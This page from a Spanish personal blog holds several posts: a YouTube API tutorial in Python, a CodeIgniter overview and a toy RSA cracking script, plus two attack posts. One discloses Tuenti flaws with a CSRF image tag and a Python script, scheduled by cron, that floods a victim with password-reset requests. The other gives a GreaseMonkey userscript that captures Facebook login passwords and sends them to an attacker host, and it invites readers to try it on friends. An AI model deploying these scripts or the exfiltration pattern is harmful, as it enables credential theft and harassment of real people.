Última entrada en este host

Esta es mi despedida de wordpress.com, me paso a mi propio dominio en el que tendré un poco más de libertad. Mi blog se encuentra ahora en http://alfffa.net/blog

Todas las entradas fueron trasladadas.


Estudio estadístico sobre la relación entre las tags y las visitas de un vídeo

Pues aquí os pongo el último trabajo que he hecho, esta vez para la asignatura de matemáticas.


Pequeñas “vulnerabilidades” en tuenti móvil

Escribo este post para reportar públicamente un par de vulnerabilidades (probablemente haya más, no me he de tenido a examinar muy a fondo) de la versión móvil de tuenti. La primera de las vulnerabilidades es de un peligro mínimo y es hasta difícil de explotar, pero como no tengo nada que escribir, aquí la pongo. La segunda si que puede resultar un poco molesta si se explota de forma adecuada.

La primera de las vulnerabilidades consiste en que podemos hacer que el estado de la víctima se cambie por un estado vacío. Lo sé, es una tontería. Para proceder a “explotarla”  tenemos que hacer que la víctima abra una página (pasándole un enlace y que este lo clique) que contenga este código :

</pre>
<img src="http://m.tuenti.com/?m=profile&func=process_set_status" alt="" />
<pre>

teniendo este la sesión de tuenti móvil abierta.

Después de esto, otro “problema” de seguridad es que en la versión móvil, el formulario para mandar una nueva contraseña al correo no tiene un capchta, por lo que se puede automatizar perfectamente el proceso obligando a la víctima a que se le cambie la contraseña. Este proceso no puede ser continuo ya que tuenti tiene implementada una “medida de seguridad” que hace que solo se pueda hacer esto una vez cada hora. De cualquier manera esto es algo que puede ser bastante molesto.

Para demostrar esto último, he hecho un PoC en python que realiza esta tarea:

#!/usr/bin/python
#PoC para vulnerabilidad de tuenti
# @BraulioVM
import urllib, urllib2, sys

if len(sys.argv) != 2:
  print "Usage: python ",sys.argv[0],"  "
  exit()

urlPoc = "http://m.tuenti.com/?m=login&func=process_forgot_password"
correoVictima = sys.argv[1]
postData = urllib.urlencode({ 'tuentiemail' : correoVictima })
code = urllib2.urlopen(urlPoc, postData).read()

if "Lo sentimos" in code:
  print "Posiblemente hubo un error, intentelo mas tarde"
else :
  print "Si el correo era correcto, posiblemente se haya completado la tarea con exito"

Si queremos que se ejecute cada hora, en linux basta con que añadamos el siguiente script a la carpeta /etc/cron.hourly/

#!/bin/sh
python /ruta/hacia/el/poc.py emailquesea@email.com

Para comprobar si el servicio cron está corriendo hacemos:

/etc/init.d/crond status

Y si no está en marcha lo iniciamos con

/etc/init.d/crond start

Bueno, eso ha sido todo. Me imagino que gracias a los reportes, los ingenieros de tuenti arreglarán la segunda vulnerabilidad y quizás también la primera.

Saludos.


Trolleando a usuarios poco precavidos gracias a GreaseMonkey

Mucha gente conoce el complemento para Firefox de GreaseMonkey. Es un complemento que puede ser bastante útil para un montón de cosas diferentes, la mayoría de ellas benévolas. De hecho, se ha formado una gran comunidad alrededor de los scripts que realizan los usuarios para usar en este add-on.

Para el que no conozca que hace este complemento, diré que lo que permite es ejecutar un código javascript hecho por el usuario según la página que se esté visitando. Este código javascript es como si proviniera de la página, es decir, tiene todos los permisos para modificar todos los elementos. Ahí es donde está el peligro.

Para enseñar este peligro, he hecho un pequeño script que se ejecutaría cuando se carga facebook y lo que hace es detectar cuando se envía el formulario de login para leer la contraseña. Con esa contraseña se pueden hacer varias cosas malignas discretas y útiles, pero yo simplemente la voy a mostrar con un alert() y voy a abrir una página a la que se pasa por GET la pass (obviamente para que fuera útil habría que mandar también el email) .

Antes de enseñar el script, tengo que dar todo el crédito que se merece a Joan Piedra, que se ingenió la forma de cargar jQuery desde un script de greasemonkey. Yo uso su código en mi script para facilitar todo el trabajo (de hecho la porción de código que es mia son simplemente dos o tres líneas ya que solo quería hace un PoC). Bueno, aquí está el código :


// ==UserScript==
// @name           FacebookS
// @namespace      hacks
// @include        https://www.facebook.com/*
// ==/UserScript==

var $;

// Add jQuery
    (function(){
        if (typeof unsafeWindow.jQuery == 'undefined') {
            var GM_Head = document.getElementsByTagName('head')[0] || document.documentElement,
                GM_JQ = document.createElement('script');

            GM_JQ.src = 'http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js';
            GM_JQ.type = 'text/javascript';
            GM_JQ.async = true;

            GM_Head.insertBefore(GM_JQ, GM_Head.firstChild);
        }
        GM_wait();
    })();

// Check if jQuery's loaded
    function GM_wait() {
        if (typeof unsafeWindow.jQuery == 'undefined') {
            window.setTimeout(GM_wait, 100);
        } else {
            $ = unsafeWindow.jQuery.noConflict(true);
            letsJQuery();
        }
    }

// Aquí está el código que hace lo importante, obtiene la pass y la maneja
    function letsJQuery() {
        $('form').submit(function() {
            texto = $('#pass').attr('value');
            alert(texto);
            open('http://servidoratacante.com/recibe.php?pass='+texto);
         });
    }

Si queréis probarlo solo tenéis que añadir ese script a vuestro Greasemonkey y ver como algún amigo vuestro os revela su contraseña ante su máximo asombro.

Es un método que puede pasar bastante desapercibido si se mejoran algunas cosas. Por ejemplo, para que fuera útil se podría quitar el alert, y insertar en alguna parte de la página algo así:

<img src='http://servidoratacante.com/recibe.php?pass=<pass>' />

Como se hace en los típicos ejemplos de CSRF (me refiero a lo de hacer la petición via img para que no se vea muy sospechoso). Esto sería bastante sencillo de hacer con javascript.

Bueno, este es el final del artículo, espero que os haya interesado. Lo último que tengo que decir es: “no jodáis mucho“.

Saludos.


Usando la API de youtube en python

A la hora de programar aplicaciones, nos puede ser muy útil contar con algunas fuentes de datos interesantes. Entre esas fuentes de datos se encuentra youtube y en este artículo vamos a aprender a interactuar con youtube desde python.

Para eso, vamos a usar la API oficial que nos ofrece google conocida como gdata. Esta api es muy potente ya que no solo nos ofrece acceso a youtube, sino que nos ofrece acceso a la mayoría de servicios de google tales como picasa, google docs, google maps, google code… Puedes encontrar las apis que ofrece google aquí : http://code.google.com/more/

Instalación

Lo primero que tenemos que hacer, es instalar la API de gdata para python, que podemos encontrar aquí : http://code.google.com/p/gdata-python-client/downloads/list .

Para instalarlo en linux, tenemos que descargarnos alguna versión (yo usé la 2.0.14, pero supongo que no variará mucho según cual usemos), descomprimir el archivo en algún lugar y por último ejecutar el siguiente comando:

# ./setup.py install

Con privilegios de root. Una vez que esté instalado podemos empezar a programar.

Programación

Como ejemplo, vamos a hacer un programa que recoja algunos datos del usuario especificado por el usuario del programa. Para empezar, tenemos que crear una instancia de la clase YouTubeService de esta forma.

import gdata.youtube
import gdata.youtube.service

youtubeService = gdata.youtube.service.YouTubeService()

Una vez hemos obtenido ese objeto, podemos aclarar una cosa. En esta API, hay un elemento llamado feed, que representa un conjunto de vídeos. Existen diversas maneras de obtener feeds de vídeos, ya sean los más vistos, los vídeos de un usuario, una búsqueda… los vídeos son objetos de tipo video(increíble pero cierto) y de ellos es de donde se saca la información. Vamos a ver un ejemplo:

import gdata.youtube
import gdata.youtube.service

def informacionDeVideo(video): # Si se le suministra un objeto video mostrara por pantalla cierta informacion de este
 print "El nombre del video es: "+video.media.title.text
 print "Numero de reproducciones: ",video.statistics.view_count
 print "Etiquetas del video: "+video.media.keywords.text
 print

youtubeService = gdata.youtube.service.YouTubeService() # Se inicializa el objeto YouTubeService
feedDeVideos = youtubeService.GetMostViewedVideoFeed() # Se obtiene el feed de los videos mas vistos
for video in  feedDeVideos.entry: # Para cada video dentro del feed ...
  informacionDeVideo(video)

Si guardas el código y lo ejecutas, podréis comprobar que el vídeo más visto es el vídeo de la canción “Baby” de Justin Bieber con un porrón de visitas.

Ya hemos visto un poco de los objetos feed y video (o por lo menos sabemos que representan). Ahora vamos a ver como obtener información de los usuarios.

import gdata.youtube
import gdata.youtube.service
import sys

if len(sys.argv) != 2:
print "Lo estas usando mal, se usa : "
print "python ",sys.argv[0], " "
exit()
youtubeService = gdata.youtube.service.YouTubeService()

userEntry = youtubeService.GetYouTubeUserEntry(username=sys.argv[1]) # Se obtiene un objeto del tipo YouTubeUserEntry
print "Tiene ",userEntry.age.text, "anios" # Se saca la edad
print "Su canal tiene",userEntry.statistics.view_count," reproducciones " # Las reproducciones del canal
print "Tiene ",len(youtubeService.GetUserFavoritesFeed(sys.argv[1]).entry)," videos marcados como favoritos" # Con la funcion GetUserFavoritesFeed() se obtiene un feed de videos como el que hemos usado antes
# Por lo que se hace facil usar la opcion de favoritos

Ahí está el código final que ponemos aquí. Si hay cualquier duda podéis preguntar si queréis, y si queréis un documento más extenso y más preciso podéis ver la guía oficial (en inglés):
http://code.google.com/apis/youtube/1.0/developers_guide_python.html


Frameworks para desarrollo de aplicaciones web en PHP: CodeIgniter

Muchos novatos en este tipo de temas preguntarán : “¿Para qué necesitamos un framework? PHP ya nos da todo” . La respuesta, si ya has desarrollado alguna aplicación se antoja bastante evidente. Un framework de este tipo siempre nos facilita programar todo de una forma mucho más elegante y rápida. Tanto es así, que después de haber usado algún framework para tu aplicación, nunca querrás volver a programar “a pelo”.

Uno de los motivos de que faciliten tanto las cosas, es que siguen el modelo de arquitectura de software MVC, que divide el desarrollo en tres partes bien diferenciadas:

  • Modelo: representa la información sobre la que opera la aplicación. Usualmente esta es la parte que se encarga de interactuar con la base de datos.
  • Vista: es la parte que toma la información y se encarga de mostrarla al usuario. Podemos presentarlo facilmente como “el HTML” .
  • Controlador: es la parte que se encarga de tomar las acciones del usuario y obrar en consecuencia. Por ejemplo, recogería los datos enviados por un form y llamaría al modelo para insertarlo en la base de datos.

Esta diferenciación permite que el código sea mucho más legible y que se pueda modificar facilmente sin alterar toda la aplicación. Por ejemplo, el diseñador solo tendría que ocuparse de las views, sin tener que mezclarse con el resto del código.

Para el lenguaje PHP existen multitud de frameworks bastante reconocidos. Tengo que reconocer que yo solo he probado uno, pero que me va increiblemente bien para lo que quiero hacer y que además era muy sencillo de aprender gracias a la excelente documentación que proveía. Alguno muy famosos son cakePHP,  kumbiaPHP, o symfony, pero hoy voy a hablar de CodeIgniter.

CodeIgniter es un framework open-source con una curva de aprendizaje muy pronunciada. Es ligero y muy fácil de instalar, limitándose la instalación a descomprimir la librería y listo.  Tiene módulos que te ayudan a manejar sesiones, forms, enlaces, tipografías…

Si quieres aprender a usar CodeIgniter, te recomiendo ver los videotutoriales, ya que te enseñan lo principal del framework en menos de media hora, desarrollando un webblog a modo de ejemplo. Naturalmente, los videotutoriales no te enseñan todo, después podrás leer la userguide que te explica todos los aspectos del framework de una manera sorprendentemente clara.

Enlaces:


Script para encontrar una clave privada de RSA

Como no tenía absolutamente nada que hacer y esta es una idea que tenía desde hace un tiempo, he decidido llevarla a cabo. El script está programado en python y el código viene con algunos comentarios que pueden ayudar a su entendimiento.

Obviamente, no he programado este script para encontrar las clave privadas que usa la gente, para esto se necesita unos computadores muy potentes y unos algoritmos muy eficientes. Este script está programado con la intención de enseñar como funcionaría el cracking de una clave privada en RSA.

Para usar el programa,  necesitas suministrar la clave pública, que si sabes un poco de RSA, sabrás que está compuesta por  dos números (la clave pública en sí, y luego el módulo). Se suministran como argumentos por la línea de comandos de esta forma:

./KeyCracker.py 56789 99400891

Y te averiguará la clave pública.

Si quieres el código, podrás encontrarlo aquí : http://pastebin.com/GaVzJqTP


Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.